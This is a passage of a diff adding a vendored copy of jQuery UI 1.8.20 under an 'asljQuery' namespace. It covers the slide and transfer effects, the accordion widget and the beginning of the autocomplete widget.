+ $.effects.save(el, props); el.show(); // Save & Show
5333
+ $.effects.createWrapper(el).css({overflow:'hidden'}); // Create Wrapper
5334
+ var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
5335
+ var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
5336
+ var distance = o.options.distance || (ref == 'top' ? el.outerHeight({margin:true}) : el.outerWidth({margin:true}));
5337
+ if (mode == 'show') el.css(ref, motion == 'pos' ? (isNaN(distance) ? "-" + distance : -distance) : distance); // Shift
5338
+
5339
+ // Animation
5340
+ var animation = {};
5341
+ animation[ref] = (mode == 'show' ? (motion == 'pos' ? '+=' : '-=') : (motion == 'pos' ? '-=' : '+=')) + distance;
5342
+
5343
+ // Animate
5344
+ el.animate(animation, { queue: false, duration: o.duration, easing: o.options.easing, complete: function() {
5345
+ if(mode == 'hide') el.hide(); // Hide
5346
+ $.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
5347
+ if(o.callback) o.callback.apply(this, arguments); // Callback
5348
+ el.dequeue();
5349
+ }});
5350
+
5351
+ });
5352
+
5353
+ };
5354
+
5355
+ })(asljQuery);
5356
+
5357
+ (function( $, undefined ) {
5358
+
5359
+ $.effects.transfer = function(o) {
5360
+ return this.queue(function() {
5361
+ var elem = $(this),
5362
+ target = $(o.options.to),
5363
+ endPosition = target.offset(),
5364
+ animation = {
5365
+ top: endPosition.top,
5366
+ left: endPosition.left,
5367
+ height: target.innerHeight(),
5368
+ width: target.innerWidth()
5369
+ },
5370
+ startPosition = elem.offset(),
5371
+ transfer = $('<div class="ui-effects-transfer"></div>')
5372
+ .appendTo(document.body)
5373
+ .addClass(o.options.className)
5374
+ .css({
5375
+ top: startPosition.top,
5376
+ left: startPosition.left,
5377
+ height: elem.innerHeight(),
5378
+ width: elem.innerWidth(),
5379
+ position: 'absolute'
5380
+ })
5381
+ .animate(animation, o.duration, o.options.easing, function() {
5382
+ transfer.remove();
5383
+ (o.callback && o.callback.apply(elem[0], arguments));
5384
+ elem.dequeue();
5385
+ });
5386
+ });
5387
+ };
5388
+
5389
+ })(asljQuery);
5390
+
5391
+ (function( $, undefined ) {
5392
+
5393
+ $.widget( "ui.accordion", {
5394
+ options: {
5395
+ active: 0,
5396
+ animated: "slide",
5397
+ autoHeight: true,
5398
+ clearStyle: false,
5399
+ collapsible: false,
5400
+ event: "click",
5401
+ fillSpace: false,
5402
+ header: "> li > :first-child,> :not(li):even",
5403
+ icons: {
5404
+ header: "ui-icon-triangle-1-e",
5405
+ headerSelected: "ui-icon-triangle-1-s"
5406
+ },
5407
+ navigation: false,
5408
+ navigationFilter: function() {
5409
+ return this.href.toLowerCase() === location.href.toLowerCase();
5410
+ }
5411
+ },
5412
+
5413
+ _create: function() {
5414
+ var self = this,
5415
+ options = self.options;
5416
+
5417
+ self.running = 0;
5418
+
5419
+ self.element
5420
+ .addClass( "ui-accordion ui-widget ui-helper-reset" )
5421
+ // in lack of child-selectors in CSS
5422
+ // we need to mark top-LIs in a UL-accordion for some IE-fix
5423
+ .children( "li" )
5424
+ .addClass( "ui-accordion-li-fix" );
5425
+
5426
+ self.headers = self.element.find( options.header )
5427
+ .addClass( "ui-accordion-header ui-helper-reset ui-state-default ui-corner-all" )
5428
+ .bind( "mouseenter.accordion", function() {
5429
+ if ( options.disabled ) {
5430
+ return;
5431
+ }
5432
+ $( this ).addClass( "ui-state-hover" );
5433
+ })
5434
+ .bind( "mouseleave.accordion", function() {
5435
+ if ( options.disabled ) {
5436
+ return;
5437
+ }
5438
+ $( this ).removeClass( "ui-state-hover" );
5439
+ })
5440
+ .bind( "focus.accordion", function() {
5441
+ if ( options.disabled ) {
5442
+ return;
5443
+ }
5444
+ $( this ).addClass( "ui-state-focus" );
5445
+ })
5446
+ .bind( "blur.accordion", function() {
5447
+ if ( options.disabled ) {
5448
+ return;
5449
+ }
5450
+ $( this ).removeClass( "ui-state-focus" );
5451
+ });
5452
+
5453
+ self.headers.next()
5454
+ .addClass( "ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom" );
5455
+
5456
+ if ( options.navigation ) {
5457
+ var current = self.element.find( "a" ).filter( options.navigationFilter ).eq( 0 );
5458
+ if ( current.length ) {
5459
+ var header = current.closest( ".ui-accordion-header" );
5460
+ if ( header.length ) {
5461
+ // anchor within header
5462
+ self.active = header;
5463
+ } else {
5464
+ // anchor within content
5465
+ self.active = current.closest( ".ui-accordion-content" ).prev();
5466
+ }
5467
+ }
5468
+ }
5469
+
5470
+ self.active = self._findActive( self.active || options.active )
5471
+ .addClass( "ui-state-default ui-state-active" )
5472
+ .toggleClass( "ui-corner-all" )
5473
+ .toggleClass( "ui-corner-top" );
5474
+ self.active.next().addClass( "ui-accordion-content-active" );
5475
+
5476
+ self._createIcons();
5477
+ self.resize();
5478
+
5479
+ // ARIA
5480
+ self.element.attr( "role", "tablist" );
5481
+
5482
+ self.headers
5483
+ .attr( "role", "tab" )
5484
+ .bind( "keydown.accordion", function( event ) {
5485
+ return self._keydown( event );
5486
+ })
5487
+ .next()
5488
+ .attr( "role", "tabpanel" );
5489
+
5490
+ self.headers
5491
+ .not( self.active || "" )
5492
+ .attr({
5493
+ "aria-expanded": "false",
5494
+ "aria-selected": "false",
5495
+ tabIndex: -1
5496
+ })
5497
+ .next()
5498
+ .hide();
5499
+
5500
+ // make sure at least one header is in the tab order
5501
+ if ( !self.active.length ) {
5502
+ self.headers.eq( 0 ).attr( "tabIndex", 0 );
5503
+ } else {
5504
+ self.active
5505
+ .attr({
5506
+ "aria-expanded": "true",
5507
+ "aria-selected": "true",
5508
+ tabIndex: 0
5509
+ });
5510
+ }
5511
+
5512
+ // only need links in tab order for Safari
5513
+ if ( !$.browser.safari ) {
5514
+ self.headers.find( "a" ).attr( "tabIndex", -1 );
5515
+ }
5516
+
5517
+ if ( options.event ) {
5518
+ self.headers.bind( options.event.split(" ").join(".accordion ") + ".accordion", function(event) {
5519
+ self._clickHandler.call( self, event, this );
5520
+ event.preventDefault();
5521
+ });
5522
+ }
5523
+ },
5524
+
5525
+ _createIcons: function() {
5526
+ var options = this.options;
5527
+ if ( options.icons ) {
5528
+ $( "<span></span>" )
5529
+ .addClass( "ui-icon " + options.icons.header )
5530
+ .prependTo( this.headers );
5531
+ this.active.children( ".ui-icon" )
5532
+ .toggleClass(options.icons.header)
5533
+ .toggleClass(options.icons.headerSelected);
5534
+ this.element.addClass( "ui-accordion-icons" );
5535
+ }
5536
+ },
5537
+
5538
+ _destroyIcons: function() {
5539
+ this.headers.children( ".ui-icon" ).remove();
5540
+ this.element.removeClass( "ui-accordion-icons" );
5541
+ },
5542
+
5543
+ destroy: function() {
5544
+ var options = this.options;
5545
+
5546
+ this.element
5547
+ .removeClass( "ui-accordion ui-widget ui-helper-reset" )
5548
+ .removeAttr( "role" );
5549
+
5550
+ this.headers
5551
+ .unbind( ".accordion" )
5552
+ .removeClass( "ui-accordion-header ui-accordion-disabled ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top" )
5553
+ .removeAttr( "role" )
5554
+ .removeAttr( "aria-expanded" )
5555
+ .removeAttr( "aria-selected" )
5556
+ .removeAttr( "tabIndex" );
5557
+
5558
+ this.headers.find( "a" ).removeAttr( "tabIndex" );
5559
+ this._destroyIcons();
5560
+ var contents = this.headers.next()
5561
+ .css( "display", "" )
5562
+ .removeAttr( "role" )
5563
+ .removeClass( "ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-accordion-disabled ui-state-disabled" );
5564
+ if ( options.autoHeight || options.fillHeight ) {
5565
+ contents.css( "height", "" );
5566
+ }
5567
+
5568
+ return $.Widget.prototype.destroy.call( this );
5569
+ },
5570
+
5571
+ _setOption: function( key, value ) {
5572
+ $.Widget.prototype._setOption.apply( this, arguments );
5573
+
5574
+ if ( key == "active" ) {
5575
+ this.activate( value );
5576
+ }
5577
+ if ( key == "icons" ) {
5578
+ this._destroyIcons();
5579
+ if ( value ) {
5580
+ this._createIcons();
5581
+ }
5582
+ }
5583
+ // #5332 - opacity doesn't cascade to positioned elements in IE
5584
+ // so we need to add the disabled class to the headers and panels
5585
+ if ( key == "disabled" ) {
5586
+ this.headers.add(this.headers.next())
5587
+ [ value ? "addClass" : "removeClass" ](
5588
+ "ui-accordion-disabled ui-state-disabled" );
5589
+ }
5590
+ },
5591
+
5592
+ _keydown: function( event ) {
5593
+ if ( this.options.disabled || event.altKey || event.ctrlKey ) {
5594
+ return;
5595
+ }
5596
+
5597
+ var keyCode = $.ui.keyCode,
5598
+ length = this.headers.length,
5599
+ currentIndex = this.headers.index( event.target ),
5600
+ toFocus = false;
5601
+
5602
+ switch ( event.keyCode ) {
5603
+ case keyCode.RIGHT:
5604
+ case keyCode.DOWN:
5605
+ toFocus = this.headers[ ( currentIndex + 1 ) % length ];
5606
+ break;
5607
+ case keyCode.LEFT:
5608
+ case keyCode.UP:
5609
+ toFocus = this.headers[ ( currentIndex - 1 + length ) % length ];
5610
+ break;
5611
+ case keyCode.SPACE:
5612
+ case keyCode.ENTER:
5613
+ this._clickHandler( { target: event.target }, event.target );
5614
+ event.preventDefault();
5615
+ }
5616
+
5617
+ if ( toFocus ) {
5618
+ $( event.target ).attr( "tabIndex", -1 );
5619
+ $( toFocus ).attr( "tabIndex", 0 );
5620
+ toFocus.focus();
5621
+ return false;
5622
+ }
5623
+
5624
+ return true;
5625
+ },
5626
+
5627
+ resize: function() {
5628
+ var options = this.options,
5629
+ maxHeight;
5630
+
5631
+ if ( options.fillSpace ) {
5632
+ if ( $.browser.msie ) {
5633
+ var defOverflow = this.element.parent().css( "overflow" );
5634
+ this.element.parent().css( "overflow", "hidden");
5635
+ }
5636
+ maxHeight = this.element.parent().height();
5637
+ if ($.browser.msie) {
5638
+ this.element.parent().css( "overflow", defOverflow );
5639
+ }
5640
+
5641
+ this.headers.each(function() {
5642
+ maxHeight -= $( this ).outerHeight( true );
5643
+ });
5644
+
5645
+ this.headers.next()
5646
+ .each(function() {
5647
+ $( this ).height( Math.max( 0, maxHeight -
5648
+ $( this ).innerHeight() + $( this ).height() ) );
5649
+ })
5650
+ .css( "overflow", "auto" );
5651
+ } else if ( options.autoHeight ) {
5652
+ maxHeight = 0;
5653
+ this.headers.next()
5654
+ .each(function() {
5655
+ maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() );
5656
+ })
5657
+ .height( maxHeight );
5658
+ }
5659
+
5660
+ return this;
5661
+ },
5662
+
5663
+ activate: function( index ) {
5664
+ // TODO this gets called on init, changing the option without an explicit call for that
5665
+ this.options.active = index;
5666
+ // call clickHandler with custom event
5667
+ var active = this._findActive( index )[ 0 ];
5668
+ this._clickHandler( { target: active }, active );
5669
+
5670
+ return this;
5671
+ },
5672
+
5673
+ _findActive: function( selector ) {
5674
+ return selector
5675
+ ? typeof selector === "number"
5676
+ ? this.headers.filter( ":eq(" + selector + ")" )
5677
+ : this.headers.not( this.headers.not( selector ) )
5678
+ : selector === false
5679
+ ? $( [] )
5680
+ : this.headers.filter( ":eq(0)" );
5681
+ },
5682
+
5683
+ // TODO isn't event.target enough? why the separate target argument?
5684
+ _clickHandler: function( event, target ) {
5685
+ var options = this.options;
5686
+ if ( options.disabled ) {
5687
+ return;
5688
+ }
5689
+
5690
+ // called only when using activate(false) to close all parts programmatically
5691
+ if ( !event.target ) {
5692
+ if ( !options.collapsible ) {
5693
+ return;
5694
+ }
5695
+ this.active
5696
+ .removeClass( "ui-state-active ui-corner-top" )
5697
+ .addClass( "ui-state-default ui-corner-all" )
5698
+ .children( ".ui-icon" )
5699
+ .removeClass( options.icons.headerSelected )
5700
+ .addClass( options.icons.header );
5701
+ this.active.next().addClass( "ui-accordion-content-active" );
5702
+ var toHide = this.active.next(),
5703
+ data = {
5704
+ options: options,
5705
+ newHeader: $( [] ),
5706
+ oldHeader: options.active,
5707
+ newContent: $( [] ),
5708
+ oldContent: toHide
5709
+ },
5710
+ toShow = ( this.active = $( [] ) );
5711
+ this._toggle( toShow, toHide, data );
5712
+ return;
5713
+ }
5714
+
5715
+ // get the click target
5716
+ var clicked = $( event.currentTarget || target ),
5717
+ clickedIsActive = clicked[0] === this.active[0];
5718
+
5719
+ // TODO the option is changed, is that correct?
5720
+ // TODO if it is correct, shouldn't that happen after determining that the click is valid?
5721
+ options.active = options.collapsible && clickedIsActive ?
5722
+ false :
5723
+ this.headers.index( clicked );
5724
+
5725
+ // if animations are still active, or the active header is the target, ignore click
5726
+ if ( this.running || ( !options.collapsible && clickedIsActive ) ) {
5727
+ return;
5728
+ }
5729
+
5730
+ // find elements to show and hide
5731
+ var active = this.active,
5732
+ toShow = clicked.next(),
5733
+ toHide = this.active.next(),
5734
+ data = {
5735
+ options: options,
5736
+ newHeader: clickedIsActive && options.collapsible ? $([]) : clicked,
5737
+ oldHeader: this.active,
5738
+ newContent: clickedIsActive && options.collapsible ? $([]) : toShow,
5739
+ oldContent: toHide
5740
+ },
5741
+ down = this.headers.index( this.active[0] ) > this.headers.index( clicked[0] );
5742
+
5743
+ // when the call to ._toggle() comes after the class changes
5744
+ // it causes a very odd bug in IE 8 (see #6720)
5745
+ this.active = clickedIsActive ? $([]) : clicked;
5746
+ this._toggle( toShow, toHide, data, clickedIsActive, down );
5747
+
5748
+ // switch classes
5749
+ active
5750
+ .removeClass( "ui-state-active ui-corner-top" )
5751
+ .addClass( "ui-state-default ui-corner-all" )
5752
+ .children( ".ui-icon" )
5753
+ .removeClass( options.icons.headerSelected )
5754
+ .addClass( options.icons.header );
5755
+ if ( !clickedIsActive ) {
5756
+ clicked
5757
+ .removeClass( "ui-state-default ui-corner-all" )
5758
+ .addClass( "ui-state-active ui-corner-top" )
5759
+ .children( ".ui-icon" )
5760
+ .removeClass( options.icons.header )
5761
+ .addClass( options.icons.headerSelected );
5762
+ clicked
5763
+ .next()
5764
+ .addClass( "ui-accordion-content-active" );
5765
+ }
5766
+
5767
+ return;
5768
+ },
5769
+
5770
+ _toggle: function( toShow, toHide, data, clickedIsActive, down ) {
5771
+ var self = this,
5772
+ options = self.options;
5773
+
5774
+ self.toShow = toShow;
5775
+ self.toHide = toHide;
5776
+ self.data = data;
5777
+
5778
+ var complete = function() {
5779
+ if ( !self ) {
5780
+ return;
5781
+ }
5782
+ return self._completed.apply( self, arguments );
5783
+ };
5784
+
5785
+ // trigger changestart event
5786
+ self._trigger( "changestart", null, self.data );
5787
+
5788
+ // count elements to animate
5789
+ self.running = toHide.size() === 0 ? toShow.size() : toHide.size();
5790
+
5791
+ if ( options.animated ) {
5792
+ var animOptions = {};
5793
+
5794
+ if ( options.collapsible && clickedIsActive ) {
5795
+ animOptions = {
5796
+ toShow: $( [] ),
5797
+ toHide: toHide,
5798
+ complete: complete,
5799
+ down: down,
5800
+ autoHeight: options.autoHeight || options.fillSpace
5801
+ };
5802
+ } else {
5803
+ animOptions = {
5804
+ toShow: toShow,
5805
+ toHide: toHide,
5806
+ complete: complete,
5807
+ down: down,
5808
+ autoHeight: options.autoHeight || options.fillSpace
5809
+ };
5810
+ }
5811
+
5812
+ if ( !options.proxied ) {
5813
+ options.proxied = options.animated;
5814
+ }
5815
+
5816
+ if ( !options.proxiedDuration ) {
5817
+ options.proxiedDuration = options.duration;
5818
+ }
5819
+
5820
+ options.animated = $.isFunction( options.proxied ) ?
5821
+ options.proxied( animOptions ) :
5822
+ options.proxied;
5823
+
5824
+ options.duration = $.isFunction( options.proxiedDuration ) ?
5825
+ options.proxiedDuration( animOptions ) :
5826
+ options.proxiedDuration;
5827
+
5828
+ var animations = $.ui.accordion.animations,
5829
+ duration = options.duration,
5830
+ easing = options.animated;
5831
+
5832
+ if ( easing && !animations[ easing ] && !$.easing[ easing ] ) {
5833
+ easing = "slide";
5834
+ }
5835
+ if ( !animations[ easing ] ) {
5836
+ animations[ easing ] = function( options ) {
5837
+ this.slide( options, {
5838
+ easing: easing,
5839
+ duration: duration || 700
5840
+ });
5841
+ };
5842
+ }
5843
+
5844
+ animations[ easing ]( animOptions );
5845
+ } else {
5846
+ if ( options.collapsible && clickedIsActive ) {
5847
+ toShow.toggle();
5848
+ } else {
5849
+ toHide.hide();
5850
+ toShow.show();
5851
+ }
5852
+
5853
+ complete( true );
5854
+ }
5855
+
5856
+ // TODO assert that the blur and focus triggers are really necessary, remove otherwise
5857
+ toHide.prev()
5858
+ .attr({
5859
+ "aria-expanded": "false",
5860
+ "aria-selected": "false",
5861
+ tabIndex: -1
5862
+ })
5863
+ .blur();
5864
+ toShow.prev()
5865
+ .attr({
5866
+ "aria-expanded": "true",
5867
+ "aria-selected": "true",
5868
+ tabIndex: 0
5869
+ })
5870
+ .focus();
5871
+ },
5872
+
5873
+ _completed: function( cancel ) {
5874
+ this.running = cancel ? 0 : --this.running;
5875
+ if ( this.running ) {
5876
+ return;
5877
+ }
5878
+
5879
+ if ( this.options.clearStyle ) {
5880
+ this.toShow.add( this.toHide ).css({
5881
+ height: "",
5882
+ overflow: ""
5883
+ });
5884
+ }
5885
+
5886
+ // other classes are removed before the animation; this one needs to stay until completed
5887
+ this.toHide.removeClass( "ui-accordion-content-active" );
5888
+ // Work around for rendering bug in IE (#5421)
5889
+ if ( this.toHide.length ) {
5890
+ this.toHide.parent()[0].className = this.toHide.parent()[0].className;
5891
+ }
5892
+
5893
+ this._trigger( "change", null, this.data );
5894
+ }
5895
+ });
5896
+
5897
+ $.extend( $.ui.accordion, {
5898
+ version: "1.8.20",
5899
+ animations: {
5900
+ slide: function( options, additions ) {
5901
+ options = $.extend({
5902
+ easing: "swing",
5903
+ duration: 300
5904
+ }, options, additions );
5905
+ if ( !options.toHide.size() ) {
5906
+ options.toShow.animate({
5907
+ height: "show",
5908
+ paddingTop: "show",
5909
+ paddingBottom: "show"
5910
+ }, options );
5911
+ return;
5912
+ }
5913
+ if ( !options.toShow.size() ) {
5914
+ options.toHide.animate({
5915
+ height: "hide",
5916
+ paddingTop: "hide",
5917
+ paddingBottom: "hide"
5918
+ }, options );
5919
+ return;
5920
+ }
5921
+ var overflow = options.toShow.css( "overflow" ),
5922
+ percentDone = 0,
5923
+ showProps = {},
5924
+ hideProps = {},
5925
+ fxAttrs = [ "height", "paddingTop", "paddingBottom" ],
5926
+ originalWidth;
5927
+ // fix width before calculating height of hidden element
5928
+ var s = options.toShow;
5929
+ originalWidth = s[0].style.width;
5930
+ s.width( s.parent().width()
5931
+ - parseFloat( s.css( "paddingLeft" ) )
5932
+ - parseFloat( s.css( "paddingRight" ) )
5933
+ - ( parseFloat( s.css( "borderLeftWidth" ) ) || 0 )
5934
+ - ( parseFloat( s.css( "borderRightWidth" ) ) || 0 ) );
5935
+
5936
+ $.each( fxAttrs, function( i, prop ) {
5937
+ hideProps[ prop ] = "hide";
5938
+
5939
+ var parts = ( "" + $.css( options.toShow[0], prop ) ).match( /^([\d+-.]+)(.*)$/ );
5940
+ showProps[ prop ] = {
5941
+ value: parts[ 1 ],
5942
+ unit: parts[ 2 ] || "px"
5943
+ };
5944
+ });
5945
+ options.toShow.css({ height: 0, overflow: "hidden" }).show();
5946
+ options.toHide
5947
+ .filter( ":hidden" )
5948
+ .each( options.complete )
5949
+ .end()
5950
+ .filter( ":visible" )
5951
+ .animate( hideProps, {
5952
+ step: function( now, settings ) {
5953
+ // only calculate the percent when animating height
5954
+ // IE gets very inconsistent results when animating elements
5955
+ // with small values, which is common for padding
5956
+ if ( settings.prop == "height" ) {
5957
+ percentDone = ( settings.end - settings.start === 0 ) ? 0 :
5958
+ ( settings.now - settings.start ) / ( settings.end - settings.start );
5959
+ }
5960
+
5961
+ options.toShow[ 0 ].style[ settings.prop ] =
5962
+ ( percentDone * showProps[ settings.prop ].value )
5963
+ + showProps[ settings.prop ].unit;
5964
+ },
5965
+ duration: options.duration,
5966
+ easing: options.easing,
5967
+ complete: function() {
5968
+ if ( !options.autoHeight ) {
5969
+ options.toShow.css( "height", "" );
5970
+ }
5971
+ options.toShow.css({
5972
+ width: originalWidth,
5973
+ overflow: overflow
5974
+ });
5975
+ options.complete();
5976
+ }
5977
+ });
5978
+ },
5979
+ bounceslide: function( options ) {
5980
+ this.slide( options, {
5981
+ easing: options.down ? "easeOutBounce" : "swing",
5982
+ duration: options.down ? 1000 : 200
5983
+ });
5984
+ }
5985
+ }
5986
+ });
5987
+
5988
+ })(asljQuery);
5989
+
5990
+ (function( $, undefined ) {
5991
+
5992
+ // used to prevent race conditions with remote data sources
5993
+ var requestIndex = 0;
5994
+
5995
+ $.widget( "ui.autocomplete", {
5996
+ options: {
5997
+ appendTo: "body",
5998
+ autoFocus: false,
5999
+ delay: 300,
6000
+ minLength: 1,
6001
+ position: {
6002
+ my: "left top",
6003
+ at: "left bottom",
6004
+ collision: "none"
6005
+ },
6006
+ source: null
6007
+ },
6008
+
6009
+ pending: 0,
6010
+
6011
+ _create: function() {
6012
+ var self = this,
6013
+ doc = this.element[ 0 ].ownerDocument,
6014
+ suppressKeyPress;
6015
+ this.isMultiLine = this.element.is( "textarea" );
6016
+
6017
+ this.element
6018
+ .addClass( "ui-autocomplete-input" )
6019
+ .attr( "autocomplete", "off" )
6020
+ // TODO verify these actually work as intended
6021
+ .attr({
6022
+ role: "textbox",
6023
+ "aria-autocomplete": "list",
6024
+ "aria-haspopup": "true"
6025
+ })
6026
+ .bind( "keydown.autocomplete", function( event ) {
6027
+ if ( self.options.disabled || self.element.propAttr( "readOnly" ) ) {
6028
+ return;
6029
+ }
6030
+
6031
+ suppressKeyPress = false;
6032
+ var keyCode = $.ui.keyCode;
6033
+ switch( event.keyCode ) {
6034
+ case keyCode.PAGE_UP:
6035
+ self._move( "previousPage", event );
6036
+ break;
6037
+ case keyCode.PAGE_DOWN:
6038
+ self._move( "nextPage", event );
6039
+ break;
6040
+ case keyCode.UP:
6041
+ self._keyEvent( "previous", event );
6042
+ break;
6043
+ case keyCode.DOWN:
6044
+ self._keyEvent( "next", event );
6045
+ break;
6046
+ case keyCode.ENTER:
6047
+ case keyCode.NUMPAD_ENTER:
6048
+ // when menu is open and has focus
6049
+ if ( self.menu.active ) {
6050
+ // #6055 - Opera still allows the keypress to occur
6051
+ // which causes forms to submit
6052
+ suppressKeyPress = true;
6053
+ event.preventDefault();
6054
+ }
6055
+ //passthrough - ENTER and TAB both select the current element
6056
+ case keyCode.TAB:
6057
+ if ( !self.menu.active ) {
6058
+ return;
6059
+ }
6060
+ self.menu.select( event );
6061
+ break;
6062
+ case keyCode.ESCAPE:
6063
+ self.element.val( self.term );
6064
+ self.close( event );
6065
+ break;
6066
+ default:
6067
+ // keypress is triggered before the input value is changed
6068
+ clearTimeout( self.searching );
6069
+ self.searching = setTimeout(function() {
6070
+ // only search if the value has changed
6071
+ if ( self.term != self.element.val() ) {
6072
+ self.selectedItem = null;
6073
+ self.search( null, event );
6074
+ }
6075
+ }, self.options.delay );
6076
+ break;
6077
+ }
6078
+ })
6079
+ .bind( "keypress.autocomplete", function( event ) {
6080
+ if ( suppressKeyPress ) {
6081
+ suppressKeyPress = false;
6082
+ event.preventDefault();
6083
+ }
6084
+ })
6085
+ .bind( "focus.autocomplete", function() {
6086
+ if ( self.options.disabled ) {
6087
+ return;
6088
+ }
6089
+
6090
+ self.selectedItem = null;
6091
+ self.previous = self.element.val();
6092
+ })
6093
+ .bind( "blur.autocomplete", function( event ) {
6094
+ if ( self.options.disabled ) {
6095
+ return;
6096
+ }
6097
+
6098
+ clearTimeout( self.searching );
6099
+ // clicks on the menu (or a button to trigger a search) will cause a blur event
6100
+ self.closing = setTimeout(function() {
6101
+ self.close( event );
6102
+ self._change( event );
6103
+ }, 150 );
6104
+ });
6105
+ this._initSource();
6106
+ this.menu = $( "<ul></ul>" )
6107
+ .addClass( "ui-autocomplete" )
6108
+ .appendTo( $( this.options.appendTo || "body", doc )[0] )
6109
+ // prevent the close-on-blur in case of a "slow" click on the menu (long mousedown)
6110
+ .mousedown(function( event ) {
6111
+ // clicking on the scrollbar causes focus to shift to the body
6112
+ // but we can't detect a mouseup or a click immediately afterward
6113
+ // so we have to track the next mousedown and close the menu if
6114
+ // the user clicks somewhere outside of the autocomplete
6115
+ var menuElement = self.menu.element[ 0 ];
6116
+ if ( !$( event.target ).closest( ".ui-menu-item" ).length ) {
6117
+ setTimeout(function() {
6118
+ $( document ).one( 'mousedown', function( event ) {
6119
+ if ( event.target !== self.element[ 0 ] &&
6120
+ event.target !== menuElement &&
6121
+ !$.ui.contains( menuElement, event.target ) ) {
6122
+ self.close();
6123
+ }
6124
+ });
6125
+ }, 1 );
6126
+ }
6127
+
6128
+ // use another timeout to make sure the blur-event-handler on the input was already triggered
6129
+ setTimeout(function() {
6130
+ clearTimeout( self.closing );
6131
+ }, 13);
6132
+ })
6133
+ .menu({
6134
+ focus: function( event, ui ) {
6135
+ var item = ui.item.data( "item.autocomplete" );
6136
+ if ( false !== self._trigger( "focus", event, { item: item } ) ) {
6137
+ // use value to match what will end up in the input, if it was a key event
6138
+ if ( /^key/.test(event.originalEvent.type) ) {
6139
+ self.element.val( item.value );
6140
+ }
6141
+ }
6142
+ },
6143
+ selected: function( event, ui ) {
6144
+ var item = ui.item.data( "item.autocomplete" ),
6145
+ previous = self.previous;
6146
+
6147
+ // only trigger when focus was lost (click on menu)
6148
+ if ( self.element[0] !== doc.activeElement ) {
6149
+ self.element.focus();
6150
+ self.previous = previous;
6151
+ // #6109 - IE triggers two focus events and the second
6152
+ // is asynchronous, so we need to reset the previous
6153
+ // term synchronously and asynchronously :-(
6154
+ setTimeout(function() {
6155
+ self.previous = previous;
6156
+ self.selectedItem = item;
6157
+ }, 1);
6158
+ }
6159
+
6160
+ if ( false !== self._trigger( "select", event, { item: item } ) ) {
6161
+ self.element.val( item.value );
6162
+ }
6163
+ // reset the term after the select event
6164
+ // this allows custom select handling to work properly
6165
+ self.term = self.element.val();
6166
+
6167
+ self.close( event );
6168
+ self.selectedItem = item;
6169
+ },
6170
+ blur: function( event, ui ) {
6171
+ // don't set the value of the text field if it's already correct
6172
+ // this prevents moving the cursor unnecessarily
6173
+ if ( self.menu.element.is(":visible") &&
6174
+ ( self.element.val() !== self.term ) ) {
6175
+ self.element.val( self.term );
6176
+ }
6177
+ }
6178
+ })
6179
+ .zIndex( this.element.zIndex() + 1 )
6180
+ // workaround for jQuery bug #5781 http://dev.jquery.com/ticket/5781
6181
+ .css({ top: 0, left: 0 })
6182
+ .hide()
6183
+ .data( "menu" );
6184
+ if ( $.fn.bgiframe ) {
6185
+ this.menu.element.bgiframe();
6186
+ }
6187
+ // turning off autocomplete prevents the browser from remembering the
6188
+ // value when navigating through history, so we re-enable autocomplete
6189
+ // if the page is unloaded before the widget is destroyed. #7790
6190
+ self.beforeunloadHandler = function() {
6191
+ self.element.removeAttr( "autocomplete" );
6192
+ };
6193
+ $( window ).bind( "beforeunload", self.beforeunloadHandler );
6194
+ },
6195
+
6196
+ destroy: function() {
6197
+ this.element
6198
+ .removeClass( "ui-autocomplete-input" )
6199
+ .removeAttr( "autocomplete" )
6200
+ .removeAttr( "role" )
6201
+ .removeAttr( "aria-autocomplete" )
6202
+ .removeAttr( "aria-haspopup" );
6203
+ this.menu.element.remove();
6204
+ $( window ).unbind( "beforeunload", this.beforeunloadHandler );
6205
+ $.Widget.prototype.destroy.call( this );
6206
+ },
6207
+
6208
+ _setOption: function( key, value ) {
6209
+ $.Widget.prototype._setOption.apply( this, arguments );
6210
+ if ( key === "source" ) {
6211
+ this._initSource();
6212
+ }
6213
+ if ( key === "appendTo" ) {
6214
+ this.menu.element.appendTo( $( value || "body", this.element[0].ownerDocument )[0] )
6215
+ }
6216
+ if ( key === "disabled" && value && this.xhr ) {
6217
+ this.xhr.abort();
6218
+ }
6219
+ },
6220
+
6221
+ _initSource: function() {
6222
+ var self = this,
6223
+ array,
6224
+ url;
6225
+ if ( $.isArray(this.options.source) ) {
6226
+ array = this.options.source;
6227
+ this.source = function( request, response ) {
6228
+ response( $.ui.autocomplete.filter(array, request.term) );
6229
+ };
6230
+ } else if ( typeof this.options.source === "string" ) {
6231
+ url = this.options.source;
6232
+ this.source = function( request, response ) {
6233
+ if ( self.xhr ) {
6234
+ self.xhr.abort();
6235
+ }
6236
+ self.xhr = $.ajax({
6237
+ url: url,
6238
+ data: request,
6239
+ dataType: "json",
6240
+ success: function( data, status ) {
6241
+ response( data );
6242
+ },
6243
+ error: function() {
6244
+ response( [] );
6245
+ }
6246
+ });
6247
+ };
6248
+ } else {
6249
+ this.source = this.options.source;
6250
+ }
6251
+ },
6252
+
6253
+ search: function( value, event ) {
6254
+ value = value != null ? value : this.element.val();
6255
+
6256
+ // always save the actual value, not the one passed as an argument
6257
+ this.term = this.element.val();
6258
+
6259
+ if ( value.length < this.options.minLength ) {
6260
+ return this.close( event );
6261
+ }
6262
+
6263
+ clearTimeout( this.closing );
6264
+ if ( this._trigger( "search", event ) === false ) {
6265
+ return;
6266
+ }
6267
+
6268
+ return this._search( value );
6269
+ },
6270
+
6271
+ _search: function( value ) {
6272
+ this.pending++;
6273
+ this.element.addClass( "ui-autocomplete-loading" );
6274
+
6275
+ this.source( { term: value }, this._response() );
6276
+ },
6277
+
6278
+ _response: function() {
6279
+ var that = this,
6280
+ index = ++requestIndex;
6281
+
6282
+ return function( content ) {
6283
+ if ( index === requestIndex ) {
6284
+ that.__response( content );
6285
+ }
6286
+
6287
+ that.pending--;
6288
+ if ( !that.pending ) {
6289
+ that.element.removeClass( "ui-autocomplete-loading" );
6290
+ }
6291
+ };
6292
+ },
6293
+
6294
+ __response: function( content ) {
6295
+ if ( !this.options.disabled && content && content.length ) {
6296
+ content = this._normalize( content );
6297
+ this._suggest( content );
6298
+ this._trigger( "open" );
6299
+ } else {
6300
